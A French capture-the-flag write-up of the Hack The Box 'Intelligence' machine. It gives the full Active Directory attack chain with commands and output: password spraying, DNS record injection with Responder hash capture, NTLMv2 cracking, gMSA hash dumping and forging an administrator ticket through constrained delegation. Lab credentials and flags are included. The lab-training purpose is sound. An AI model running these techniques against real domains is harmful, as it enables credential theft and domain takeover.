audede
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
      • Invitee
    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Versions and GitHub Sync Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
Invitee
Publish Note

Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

Your note will be visible on your profile and discoverable by anyone.
Your note is now live.
This note is visible on your profile and discoverable online.
Everyone on the web can find and read all notes of this public team.
See published notes
Unpublish note
Please check the box to agree to the Community Guidelines.
View profile
Engagement control
Commenting
Permission
Disabled Forbidden Owners Signed-in users Everyone
Enable
Permission
  • Forbidden
  • Owners
  • Signed-in users
  • Everyone
Suggest edit
Permission
Disabled Forbidden Owners Signed-in users Everyone
Enable
Permission
  • Forbidden
  • Owners
  • Signed-in users
Emoji Reply
Enable
Import from Dropbox Google Drive Gist Clipboard
   owned this note    owned this note      
Published Linked with GitHub
Subscribed
  • Any changes
    Be notified of any changes
  • Mention me
    Be notified of mention me
  • Unsubscribe
Subscribe
# Intelligence HTB - Gainche/LeFloch Le focus de cette machine est mis sur l'énumération et l'exploitation de l'active directory. Ce qui est le plus intéressant dans le défi, c'est que vous pouvez obtenir les droits d'administrateur sur la machine sans jamais avoir accès à un shell sur celle-ci. Toutes les actions d'énumération et d'attaque sont effectuées à distance. Cela est similaire à l'accès VPN à un réseau et à l'exécution d'attaques à travers le VPN, plutôt que d'avoir un implant qui rappelle votre C2. La machine est exploitée en combinant la négligence des utilisateurs finaux, les erreurs informatiques et les erreurs courantes de configuration de délégation contrainte AD. ## Découverte de la machine avec un scan Dans un premier temps nous avons réaliser un scan avec nmap pour voir a quel type de machine nous avone a faire : ```shell ┌──(andrea@kali)-[~/htb/intelligence] └─# nmap -p$ports -sC -sV -oA intel 10.10.10.248 Starting Nmap 7.91 ( https://nmap.org ) at 2023-04-17 11:13 Nmap scan report for 10.10.10.248 Host is up (0.026s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Intelligence 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows 3268/tcp open ldap Microsoft Windows 3269/tcp open ssl/ldap Microsoft Windows 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49691/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49692/tcp open msrpc Microsoft Windows RPC 49702/tcp open msrpc Microsoft Windows RPC 49714/tcp open msrpc Microsoft Windows RPC 50919/tcp open msrpc Microsoft Windows RPC ``` A notre surprise il y avait beaucoup de port ouvert sur cette machine les 14 premiers sont des ports génériques mais les 6 derniers sont des services customs dont nous ne connaissons pas encore l'origine. Parmis les ports ouverts il y avait le port 80 d'ouvert ce qui indique sans doute un serveur web d'heberger dessus. En y accédent on se rend compte que c'est un site assez basique. Cepend il y a 2 liens assez interresant qui link vers des pdf : >http://10.10.10.248/documents/2020-01-01-upload.pdf >http://10.10.10.248/documents/2020-12-15-upload.pdf ## Analyse des fichiers trouvés Une fois les deux fichiers récupérés, nous décidons de regarder les métadonnées de ceux-ci afin d'obtenir des informations sur le fichiers avec l'outil exiftool : ```shell ┌──(andrea@kali)-[~/htb/intelligence] └─# exiftool 2020-01-01-upload.pdf ExifTool Version Number : 12.31 File Name : 2020-01-01-upload.pdf Directory : . File Size : 26 KiB File Modification Date/Time : 2021:04:01 18:00:00+01:00 File Access Date/Time : 2021:10:05 22:04:16+01:00 File Inode Change Date/Time : 2021:10:05 22:04:16+01:00 File Permissions : -rw-r--r-- File Type : PDF File Type Extension : pdf MIME Type : application/pdf PDF Version : 1.5 Linearized : No Page Count : 1 Creator : William.Lee ``` On voit qu'un creator existe avec un nom, nous décidon donc de faire la meme chose pour l'autre fichier et on obtient un deuxieme nom de creator : `Jose.Williams` ## Recherche d'autres fichiers Comme on a put remarqué les 2 fichier que nous avons trouver sont nomé par une date qui commence en 2020 on va donc essayer de brut force pour récupérer tous les fichiers qui on un nom de ce type: ```python from datetime import timedelta, date def daterange(date1, date2): for n in range(int ((date2 - date1).days)+1): yield date1 + timedelta(n) start_dt = date(2020, 1, 1) end_dt = date(2020, 12, 31) for dt in daterange(start_dt, end_dt): print(dt.strftime("%Y-%m-%d-upload.pdf")) ``` Grâce a ce script python on récupère tous les noms potentiels de chaque fichier que l'on range dans un fichier. Par la suite on utilise l'outils feroxbuster pour récupérer tout les fichier. ```shell ┌──(andrea@kali)-[~/htb/intelligence] └─# feroxbuster --wordlist dates.txt --url http://intelligence.htb/documents --output results.txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.3.3 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://intelligence.htb/documents 🚀 Threads │ 50 📖 Wordlist │ dates.txt 👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.3.3 💉 Config File │ /etc/feroxbuster/ferox-config.toml 💾 Output File │ results.txt 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Cancel Menu™ ────────────────────────────────────────────────── 200 126l 413w 11632c http://intelligence.htb/documents/2020-01-20-upload.pdf 200 135l 429w 11557c http://intelligence.htb/documents/2020-01-23-upload.pdf 200 131l 410w 11228c http://intelligence.htb/documents/2020-02-17-upload.pdf <SNIP> 200 126l 403w 11480c http://intelligence.htb/documents/2020-12-28-upload.pdf 200 208l 814w 26825c http://intelligence.htb/documents/2020-12-24-upload.pdf 200 190l 690w 25109c http://intelligence.htb/documents/2020-12-30-upload.pdf 200 199l 789w 26762c http://intelligence.htb/documents/2020-12-10-upload.pdf [####################] - 0s 366/366 0s found:81 errors:0 [####################] - 0s 366/366 837/s http://intelligence.htb/documents ``` On a trouver 81 fichiers grâce a cela. Et on peut donc extraire le nom de chaque créateur des fichiers : ```shell ┌──(andrea@kali)-[~/htb/intelligence] └─# strings *.pdf | grep Creator | grep -v TeX | awk '{print $2}' | cut -d '(' -f 2 | cut -d ')' -f 1 | sort | uniq Anita.Roberts Brian.Baker Jose.Williams David.Mcbride Kelly.Long John.Coleman Jose.Williams Nicole.Brock Thomas.Valenzuela David.Reed Kaitlyn.Zimmerman Jason.Patterson Thomas.Valenzuela David.Mcbride Darryl.Harris William.Lee Stephanie.Young David.Reed Nicole.Brock David.Mcbride William.Lee Stephanie.Young John.Coleman David.Wilson Scott.Scott Teresa.Williamson John.Coleman Veronica.Patel John.Coleman Samuel.Richardson Ian.Duncan Nicole.Brock William.Lee Jason.Wright Travis.Evans David.Mcbride Jessica.Moody Ian.Duncan Jason.Wright Richard.Williams Tiffany.Molina Jose.Williams Jessica.Moody Brian.Baker Anita.Roberts Teresa.Williamson Kaitlyn.Zimmerman Jose.Williams Stephanie.Young Samuel. Richardson Tiffany.Molina Ian.Duncan Kelly.Long Travis.Evans Ian.Duncan Jose.Williams David.Wilson Thomas.Hall Ian.Duncan Jason.Patterson Stephanie.Young Kaitlyn.Zimmerman Travis.Evans Kelly.Long Danny.Matthews Travis.Evans Jessica.Moody Thomas.Valenzuela Anita.Roberts Stephanie.Young David.Reed Jose.Williams Veronica.Patel Ian.Duncan Richard.Williams ``` ## Extraction des donées On peut convertir les PDF en .txt afin que les fichiers soit plus simple d'analyse et d'utilisation. Pour commencer essayons de voir si l'uns d'entre eux contient un champ "password", on fait : ```shell ┌──(root💀kali)-[~/htb/intelligence] └─# grep -rl "password" *.txt 2020-06-04-upload.txt ``` On voit que le fichiers "2020-06-04-upload.txt" contient un champ "password", essayons de voir ce que contient ce fichier : ```shell ┌──(root💀kali)-[~/htb/intelligence] └─# cat 2020-06-04-upload.txt New Account Guide Welcome to Intelligence Corp! Please login using your username and the default password of: Ah5kj9Uhkoh0pwVhyh7ki9hvU45yakfp After logging in please change your password as soon as possible. ``` ## Validation de mot de passe Maintenant que nous avons un mdp et username possible on peut utiliser crackmapexec pour faire des test de connections avec nos crédits. Ah5kj9Uhkoh0pwVhyh7ki9hvU45yakfp ```shell ┌──(andrea@kali)-[~/htb/intelligence] └─# crackmapexec smb intelligence.htb -u ./users.txt -p 'f!?g3U36cT' SMB 10.10.10.248 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False) SMB 10.10.10.248 445 DC [-] intelligence.htb\Anita.Roberts:Ah5kj9Uhkoh0pwVhyh7ki9hvU45yakfp STATUS_LOGON_FAILURE SMB 10.10.10.248 445 DC [-] intelligence.htb\Brian.Baker:Ah5kj9Uhkoh0pwVhyh7ki9hvU45yakfp STATUS_LOGON_FAILURE SMB 10.10.10.248 445 DC [-] intelligence.htb\Brian.Morris:Ah5kj9Uhkoh0pwVhyh7ki9hvU45yakfp STATUS_LOGON_FAILURE ... SMB 10.10.10.248 445 DC [+] intelligence.htb\Tiffany.Molina:Ah5kj9Uhkoh0pwVhyh7ki9hvU45yakfp ``` On voit que Tiffany.Molina n'a pas changé son mot de passe, nous allons donc nous concentrer sur cette utilisateur. Pour cela nous allons utiliser SMBMAP qui permet de lister les droits qu'a l'utilisateur dans le domaine : ```shell ┌──(andrea@kali)-[~/htb/intelligence] └─# smbmap -u Tiffany.Molina -p Ah5kj9Uhkoh0pwVhyh7ki9hvU45yakfp -H intelligence.htb -R [+] IP: intelligence.htb:445 Name: unknown Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC <SNIP> IT READ ONLY .\IT\* fr--r--r-- 1046 Mon Apr 19 01:50:58 2021 downdetector.ps1 <SNIP> Users READ ONLY .\Users\* dr--r--r-- 0 Mon Apr 19 01:18:39 2021 Administrator dr--r--r-- 0 Mon Apr 19 04:16:30 2021 All Users dw--w--w-- 0 Mon Apr 19 03:17:40 2021 Default dr--r--r-- 0 Mon Apr 19 04:16:30 2021 Default User fr--r--r-- 174 Mon Apr 19 04:15:17 2021 desktop.ini dw--w--w-- 0 Mon Apr 19 01:18:39 2021 Public dr--r--r-- 0 Mon Apr 19 02:20:26 2021 Ted.Graves dr--r--r-- 0 Mon Apr 19 01:51:46 2021 Tiffany.Molina <SNIP> .\Users\Tiffany.Molina\Desktop\* fw--w--w-- 34 Thu Oct 7 12:55:49 2021 user.txt ``` Etant donné qu'une grande quantité de fichiers à été enregistré, on a fait un dump des fichiers et on a retenu 3 principales informations : ``` IT Share has a PowerShell script called downdetector.ps1 User folder has another user called Ted.Graves User flag is on Tiffany's desktop ``` On peut maintenant essayer de se connecter aux partages Sambas de l'utilisateur en utilisant smbclient : ```shell ┌──(andrea@kali)-[~/htb/intelligence] └─# smbclient //intelligence.htb/Users -U 'Tiffany.Molina' Enter WORKGROUP\Tiffany.Molina's password: Try "help" to get a list of possible commands. smb: \> cd Tiffany.Molina\Desktop\ smb: \Tiffany.Molina\Desktop\> get user.txt getting file \Tiffany.Molina\Desktop\user.txt of size 34 as user.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec) ``` On voit bien qu'un fichier est présent sur le Bureau de Tiffany or comme dit précedemment on a vu que le flag est présent sur son Bureau, on en conclut donc que user.txt contient le flag du CTF. En faisant un `cat user.txt` on obtient donc le flag ## Powershell exfiltration Ensuite on essaie de se connecter au smbclient pour voir ce que l'on peut récupérer et utiliser dedans avec le compte que l'on a récupérer. ```shell ┌──(andrea@kali)-[~/htb/intelligence] └─# smbclient //intelligence.htb/IT -U 'Tiffany.Molina' Enter WORKGROUP\Tiffany.Molina's password: Try "help" to get a list of possible commands. smb: \> get downdetector.ps1 getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (9.0 KiloBytes/sec) (average 9.0 KiloBytes/sec) ``` On a trouver le fichier downdetector.ps1 que l'on télécharge pour l'analyser : ```shell # Check web server status. Scheduled to run every 5min Import-Module ActiveDirectory foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") { try { $request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials if(.StatusCode -ne 200) { Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down" } } catch {} } ``` Ce script vérifie l'état de fonctionnement du serveur web. Il importe le module ActiveDirectory et parcourt les enregistrements de DNS correspondant aux noms de domaine commençant par "web" dans l'unité organisationnelle spécifiée. Pour chaque nom de domaine de cette liste, il tente d'effectuer une requête web sur l'URL correspondante. Si la requête renvoie un code d'état différent de 200, le script envoie un e-mail à l'adresse spécifiée pour signaler que le serveur est en panne. Le script est programmé pour s'exécuter toutes les 5 minutes. ## Récupération de la requête web sur l'URL ### DNS Dans un premier temps on va utiliser ls dns pour redirigé la requête vers nous, on utilise l'outil krbrelayx: ```shell ┌──(andrea@kali)-[~/htb/intelligence/krbrelayx] └─# python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'Ah5kj9Uhkoh0pwVhyh7ki9hvU45yakfp' -a add -r 'webpencer.intelligence.htb' -d 10.10.14.251 10.10.10.248 [-] Connecting to host... [-] Binding to host [+] Bind OK /root/htb/intelligence/krbrelayx/dnstool.py:241: DeprecationWarning: please use dns.resolver.Resolver.resolve() instead res = dnsresolver.query(zone, 'SOA') [-] Adding new record [+] LDAP operation completed successfully ``` Ci-dessus, nous avons utilisé le script dnstool pour ajouter un enregistrement appelé webpencer, nous pointons cette entrée vers notre machine ### Responder On met donc en place le responder qui va intercepter la requête qu'on redirige a notre machine pour cela on utilise l'outil responder de kali et attendre 5 min qu'une requête nous sois envoyé: ```shell ┌──(andrea@kali)-[~/htb/intelligence] └─# responder -I tun0 -A __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 3.0.6.0 Author: Laurent Gaffie (laurent.gaffie@gmail.com) To kill this script hit CTRL-C [+] Poisoners: ... [+] Servers: ... [+] HTTP Options: ... [+] Poisoning Options: Analyze Mode [ON] ... [+] Generic Options: Responder NIC [tun0] Responder IP [10.10.14.251] Challenge set [random] Don't Respond To Names ['ISATAP'] [+] Current Session Variables: Responder Machine Name [WIN-ZQMKCOX922L] Responder Domain Name [45TT.LOCAL] Responder DCE-RPC Port [49138] [i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned. [+] Listening for events... [HTTP] NTLMv2 Client : 10.10.10.248 [HTTP] NTLMv2 Username : intelligence\Ted.Graves [HTTP] NTLMv2 Hash : Ted.Graves::intelligence:98592689b95ecf6e:435A2306687E740FF0DDFA17CAF82E4B<SNIP>9003E0048005400540050002F00770065006200700065006E006300650072002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000 ``` ## Utilisation du hash trouvé Notre responder a réussis a capturer une requête contenant un username et le hash de son mdp. A présent il nous faut encore retrouver le mot de passe qui se cache derrière ce hash. ```shell ┌──(andrea@kali)-[~/htb/intelligence] └─# john hash.txt -format=netntlmv2 -w=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Mr.Teddy (Ted.Graves) 1g 0:00:00:05 DONE (2021-10-07 22:19) 0.1941g/s 2100Kp/s 2100Kc/s 2100KC/s Mrz.deltasigma..Morgant1 Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed ``` Nous avons retrouver le mot de passe de Ted.Graves qui est Mr.Teddy ## LDAP DUMP ```shell ┌──(andrea@kali)-[~/htb/intelligence] └─# ldapdomaindump 10.10.10.248 -u 'intelligence\Ted.Graves' -p 'Mr.Teddy' [*] Connecting to host... [*] Binding to host [+] Bind OK [*] Starting domain dump [+] Domain dump finished ┌──(andrea@kali)-[~/htb/intelligence] └─# ldd2pretty --directory . +--------------------------------------+ | Getting Domain Sid For | +--------------------------------------+ [+] Domain Name: intelligence Domain Sid: S-1-5-21-4210132550-3389855604-3437519686 +-----------------------------------------+ | Password Policy Information | +-----------------------------------------+ [+] Password Info for Domain: INTELLIGENCE [+] Minimum password length: 5 [+] Password history length: 0 [+] Password Complexity Flags: 000000 [+] Domain Refuse Password Change: 0 [+] Domain Password Store Cleartext: 0 [+] Domain Password Lockout Admins: 0 [+] Domain Password No Clear Change: 0 [+] Domain Password No Anon Change: 0 [+] Domain Password Complex: 0 [+] Maximum password age: 999999999 days, 23:59:59.999999 [+] Minimum password age: 0:00:00 [+] Reset Account Lockout Counter: 0:00:00 [+] Account Lockout Threshold: 0 [+] Forced Log off Time: Not Set +------------------------+ | Users Infos | +------------------------+ Account: INTELLIGENCE\Ted.Graves Name: Ted Graves Desc: (null) Account: INTELLIGENCE\Laura.Lee Name: Laura Lee Desc: Desc: (null) Account: INTELLIGENCE\Jason.Patterson Name: Jason Patterson Desc: (null) Account: INTELLIGENCE\Jeremy.Mora Name: Jeremy Mora Desc: (null) Account: INTELLIGENCE\James.Curbow Name: James Curbow Desc: (null) ... ``` La parti qui peut nous interresser dans ce dump de l'AD est la delegation : ```shell ┌──(andrea@kali)-[~/htb/intelligence] └─# grep "DELEGATION" *.grep domain_computers.grep:svc_int svc_int$ svc_int.intelligence.htb 10/08/21 04:49:52 WORKSTATION_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION domain_computers.grep:DC DC$ dc.intelligence.htb 10/08/21 03:55:22 SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION ``` On peut donc voir qu'il y a des service de délégation que l'on va essayer de déterminer par la suite. ## Delegation Pour trouver ou la delegation est autorisé on va utiliser l'outil pywerview : ```shell ──(andrea@kali)-[~/htb/intelligence/pywerview] └─# python3 ./pywerview.py get-netcomputer -u Ted.Graves -p Mr.Teddy -w intelligence.htb --computername svc_int.intelligence.htb -t 10.10.10.248 --full-data accountexpires: never distinguishedname: CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb dnshostname: svc_int.intelligence.htb msds-allowedtodelegateto: WWW/dc.intelligence.htb name: svc_int objectcategory: CN=ms-DS-Group-Managed-Service-Account,CN=Schema,CN=Configuration,DC=intelligence,DC=htb objectclass: msDS-GroupManagedServiceAccount samaccountname: svc_int$ useraccountcontrol: ['WORKSTATION_TRUST_ACCOUNT', 'TRUSTED_TO_AUTH_FOR_DELEGATION'] ``` ## Utilisation l'autorisation de delegation Nous savons maintenant que nous avons un compte qui est approuvé pour la délégation à WWW comme expliqué précedemment, nous pouvons donc essayer de récuperer le hash de celui-ci avec l'aide de l'outil gMSADumper : ```shell ┌──(andrea@kali)-[~/htb/intelligence] └─# python3 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb Users or groups who can read password for svc_int$: > DC$ > itsupport svcint$:::d170ae19de30439df55d6430e12dd621 ``` ## Création de ticket Comme maintenant nous avons le hash du service account on peut utiliser impacket dont l'outil getST.py pour nous forger un ticket de service en se faisant passer pour l'administrateur : ```shell ┌──(andrea@kali)-[~] └─# python3 /usr/share/doc/python3-impacket/examples/getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :d170ae19de30439df55d6430e12dd621 -impersonate administrator Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation [*] Getting TGT for user [*] Impersonating administrator [*] Requesting S4U2self [*] Requesting S4U2Proxy [*] Saving ticket in administrator.ccache ┌──(andrea@kali)-[~] └─# export KRB5CCNAME=Administrator.ccache ``` Nous pouvons enfin utiliser le script smbclient Impacket pour nous connecter en tant qu'administrateur en faisant : ``` ┌──(andrea@kali)-[~] └─# impacket-smbclient Administrator@dc.intelligence.htb -k -no-pass ``` On obtient donc ``` Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation Type help for list of commands # shares ADMIN$ C$ IPC$ IT NETLOGON SYSVOL Users # cd Users # cd Administrator # cd Desktop # ls drw-rw-rw- 0 Mon Apr 19 01:51:57 2021 . drw-rw-rw- 0 Mon Apr 19 01:51:57 2021 .. -rw-rw-rw- 282 Mon Apr 19 01:40:10 2021 desktop.ini -rw-rw-rw- 34 Fri Oct 8 12:56:30 2021 root.txt ``` Le flag se trouve dans root.txt : ``` ┌──(andrea@kali)-[~] └─# cat root.txt xekj4nhjo60twchyzaoi5hvv4beakwq ``` ## Remédiation Une possible remédiation est de modifier les métadonnées du pdf notamment le createur afin de pas laisser d'identité visible aux attaquants.

Import from clipboard

Paste your markdown or webpage here...

Advanced permission required

Your current role can only read. Ask the system administrator to acquire write and comment permission.

This team is disabled

Sorry, this team is disabled. You can't edit this note.

This note is locked

Sorry, only owner can edit this note.

Reach the limit

Sorry, you've reached the max length this note can be.
Please reduce the content or divide it to more notes, thank you!

Import from Gist

Import from Snippet

or

Export to Snippet

Are you sure?

Do you really want to delete this note?
All users will lose their connection.

Create a note from template

Create a note from template

Oops...
This template has been removed or transferred.
Upgrade
All
  • All
  • Team
No template.

Create a template

Upgrade

Delete template

Do you really want to delete this template?
Turn this template into a regular note and keep its content, versions, and comments.

This page need refresh

You have an incompatible client version.
Refresh to update.
New version available!
See releases notes here
Refresh to enjoy new features.
Your user state has changed.
Refresh to load new user state.

Sign in

Forgot password

or

By clicking below, you agree to our terms of service.

Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
Wallet ( )
Connect another wallet

New to HackMD? Sign up

Help

  • English
  • 中文
  • Français
  • Deutsch
  • 日本語
  • Español
  • Català
  • Ελληνικά
  • Português
  • italiano
  • Türkçe
  • Русский
  • Nederlands
  • hrvatski jezik
  • język polski
  • Українська
  • हिन्दी
  • svenska
  • Esperanto
  • dansk

Documents

Help & Tutorial

How to use Book mode

Slide Example

API Docs

Edit in VSCode

Install browser extension

Contacts

Feedback

Discord

Send us email

Resources

Releases

Pricing

Blog

Policy

Terms

Privacy

Cheatsheet

Syntax Example Reference
# Header Header 基本排版
- Unordered List
  • Unordered List
1. Ordered List
  1. Ordered List
- [ ] Todo List
  • Todo List
> Blockquote
Blockquote
**Bold font** Bold font
*Italics font* Italics font
~~Strikethrough~~ Strikethrough
19^th^ 19th
H~2~O H2O
++Inserted text++ Inserted text
==Marked text== Marked text
[link text](https:// "title") Link
![image alt](https:// "title") Image
`Code` Code 在筆記中貼入程式碼
```javascript
var i = 0;
```
var i = 0;
:smile: :smile: Emoji list
{%youtube youtube_id %} Externals
$L^aT_eX$ LaTeX
:::info
This is a alert area.
:::

This is a alert area.

Versions and GitHub Sync
Get Full History Access

  • Edit version name
  • Delete

revision author avatar     named on  

More Less

Note content is identical to the latest version.
Compare
    Choose a version
    No search result
    Version not found
Sign in to link this note to GitHub
Learn more
This note is not linked with GitHub
 

Feedback

Submission failed, please try again

Thanks for your support.

On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

Please give us some advice and help us improve HackMD.

 

Thanks for your feedback

Remove version name

Do you want to remove this version name and description?

Transfer ownership

Transfer to
    Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

      Link with GitHub

      Please authorize HackMD on GitHub
      • Please sign in to GitHub and install the HackMD app on your GitHub repo.
      • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
      Learn more  Sign in to GitHub

      Push the note to GitHub Push to GitHub Pull a file from GitHub

        Authorize again
       

      Choose which file to push to

      Select repo
      Refresh Authorize more repos
      Select branch
      Select file
      Select branch
      Choose version(s) to push
      • Save a new version and push
      • Choose from existing versions
      Include title and tags
      Available push count

      Pull from GitHub

       
      File from GitHub
      File from HackMD

      GitHub Link Settings

      File linked

      Linked by
      File path
      Last synced branch
      Available push count

      Danger Zone

      Unlink
      You will no longer receive notification when GitHub file changes after unlink.

      Syncing

      Push failed

      Push successfully